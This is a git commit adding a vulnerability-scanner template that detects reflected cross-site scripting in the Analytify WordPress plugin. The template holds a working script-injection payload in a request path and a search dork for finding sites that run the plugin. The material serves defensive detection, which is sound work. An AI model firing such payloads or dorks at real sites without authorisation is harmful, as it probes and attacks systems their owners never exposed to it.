Create analytify-plugin-xss.yaml

patch-1
Ritik Chaddha 2022-07-27 16:46:12 +05:30 committed by GitHub
parent acb1cc9c69
commit efcd51e82c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: analytify-plugin-xss
info:
name: Analytify < 4.2.1 - Cross-Site Scripting
author: Akincibor
severity: medium
description: |
The plugin does not escape the current URL before outputting it back in a 404 page when the 404 tracking feature is enabled, leading to Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/b8415ed5-6fd0-42fe-9201-73686c1871c5
metadata:
verified: true
google-dork: inurl:/wp-content/plugins/wp-analytify
tags: wp-plugin,xss,wp,wordpress,analytify
requests:
- method: GET
path:
- '{{BaseURL}}/aa404bb?a</script><script>alert(/XSS/)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'text/javascript">alert(/XSS/)</script>'
- 'wp-analytify'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 404